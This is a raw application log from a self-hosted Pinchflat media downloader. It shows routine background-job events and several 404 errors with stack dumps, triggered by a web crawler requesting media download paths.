{"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.836 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:17:23.957 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:53.960 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.837 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:18:23.962 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:53.964 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.838 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:19:23.966 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:53.968 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.839 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:20:23.970 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:53.972 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.840 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:21:23.974 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:53.976 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.841 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:22:23.978 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:53.980 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.842 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:23:23.982 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:53.984 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.843 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:24:23.986 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:53.988 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.844 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:25:23.990 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:53.992 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.845 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:26:23.994 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:53.996 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.846 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:27:23.998 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:54.001 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.847 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:28:24.003 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:54.005 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.848 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:29:24.007 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:54.009 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.849 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:30:24.011 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:54.013 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.850 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:31:24.015 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:54.017 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.851 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:32:24.019 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:54.021 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.852 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:33:24.023 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:54.025 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.853 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:34:24.027 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:54.029 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.854 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:35:24.031 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:54.033 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.855 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:36:24.035 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:54.037 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.856 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:37:24.039 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:54.041 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.857 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:38:24.043 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:54.045 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.858 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:39:24.047 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:54.049 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.859 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:40:24.051 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:54.053 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.860 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:41:24.055 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:54.057 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.861 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:42:24.059 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:54.061 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.862 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:43:24.063 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:54.065 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.863 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:44:24.067 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:54.069 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.864 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:45:24.071 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:54.073 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.865 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:46:24.075 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:54.077 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.866 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:47:24.079 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:54.081 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.867 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:48:03.051 [info] GET /sources/4/media/99281/force_download 19:48:03.052 [debug] QUERY OK source="settings" db=0.4ms idle=1422.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:03.053 [debug] QUERY OK source="settings" db=0.3ms idle=1423.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:03.053 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:48:03.054 [error] #PID<0.253356.0> running PinchflatWeb.Endpoint (connection #PID<0.253355.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/media/99281/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/99281/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253355.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40774}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.253356.0>, params: %{}, path_info: ["sources", "4", "media", "99281", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.2"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.2"} ], request_path: "/sources/4/media/99281/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GICmdsnOFq4RO_IAJi_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253355.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40774}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/99281/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253355.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40774}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.253356.0>, params: %{}, path_info: ["sources", "4", "media", "99281", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 19:48:18.208 [info] GET /sources/3/media/3302/force_download 19:48:18.209 [debug] QUERY OK source="settings" db=0.4ms idle=1580.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:18.210 [debug] QUERY OK source="settings" db=0.4ms idle=1580.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:18.210 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:48:18.211 [error] #PID<0.253361.0> running PinchflatWeb.Endpoint (connection #PID<0.253360.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3302/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3302/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253360.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 42760}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.253361.0>, params: %{}, path_info: ["sources", "3", "media", "3302", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.2"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.2"} ], request_path: "/sources/3/media/3302/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GICmelE-TY5F7lAALx2C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253360.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 42760}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3302/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253360.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 42760}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.253361.0>, params: %{}, path_info: ["sources", "3", "media", "3302", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :pho (truncated) 19:48:24.083 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:27.268 [info] GET /sources/3/media/3301/force_download 19:48:27.269 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1639.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:27.270 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1640.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:27.270 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:48:27.270 [error] #PID<0.253363.0> running PinchflatWeb.Endpoint (connection #PID<0.253362.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3301/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3301/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253362.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3301/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 46740}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.253363.0>, params: %{}, path_info: ["sources", "3", "media", "3301", "force_download"], path_params: %{}, port: 80, private: %{ 